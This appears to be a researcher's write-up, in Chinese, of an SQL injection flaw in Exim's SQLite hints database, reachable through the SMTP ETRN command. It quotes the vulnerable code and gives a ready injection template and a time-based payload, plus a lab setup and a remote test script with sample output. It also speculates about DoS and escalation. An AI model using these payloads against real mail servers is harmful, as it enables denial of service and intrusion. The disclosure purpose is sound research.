Exim 报告:https://www.exim.org/static/doc/security/CVE-2025-26794.txt
我通过手动代码审查发现了此漏洞。
当 SQLite 被用作 DBM 时,SQL 参数未正确转义。这导致远程用户有可能构造自定义的 SQLite 查询。
Exim 使用内部数据库进行内部键:值存储(称为 HintsDB),该数据库支持多种后端,在编译时设定。最新添加的是 SQLite。 它用于存储:
enq_start() 用于 ETRN 命令和 SMTP 投递)受影响的文件是 hintsdb.h。在最新提交中,它已移至单独的文件(hints_sqlite.h)。仅 SQLite 函数受影响(示例函数:exim_s_dbp)。
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
输入的键(key)未正确转义。因此,如果我们能够控制该键,就可以注入任意 SQLite 代码。
RFC1985 定义了 SMTP ETRN 命令,“客户端可通过该命令请求服务器开始处理其邮件队列中等待发往客户端机器的消息”。
使用 SMTP 命令:ETRN #domain.com。
在 Exim 中,ETRN 命令会在 HintsDB 中设置一个信号量,以避免并行执行多个 ETRN 命令。
该信号量由 enq_start(keyname, value) 函数实现,该函数会在“misc”数据库中创建一个新条目。
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
例如,SMTP 命令 ETRN #test.com 会在 SQLite “misc”数据库中创建一个临时 DB 条目,键为“etrn-#test.com”,值为 1。
在 ETRN 命令处理结束时,该 DB 条目将被删除:
enq_end(etrn_serialize_key);
由于我们可以控制键,因此可以通过以下 SMTP 命令注入我们自己的 SQL 代码:
ETRN #',1); ## 此处插入 SQL 语句 ## /*
由于没有输出,我们可以提交基于时间的 SQLi 载荷来远程测试此漏洞:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE 连接到 Exim 用户有权访问的其他本地 SQLite 数据库。我猜想可能可以利用 Exim 中的竞态条件,通过干扰其他使用的数据库来触发未定义行为。目前这仍是高度推测性的。ETRN 命令(并且相对较旧)的情况相当罕见。我在代码中未找到其他使用用户输入构建查询字符串的地方。这意味着我们可以轻松进行 DoS(例如填满磁盘),但将其升级为远程代码执行需要更多工作,不过可能是可行的。
以下是一个本地 Docker 实验环境,可帮助复现此漏洞。
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh 将构建并使您登录到容器中bash start-exim.sh 以启动 exim 服务器nc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax error我开发了一个脚本 test.py,用于远程测试此漏洞。
python3 docker_lab/test.py <host>
示例:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
服务器横幅: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
客户端: ETRN #
ETRN 响应: 458 Already processing
时间: 0.006737470626831055
客户端: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN 响应: 250 OK
时间: 1.073132038116455
!! 存在漏洞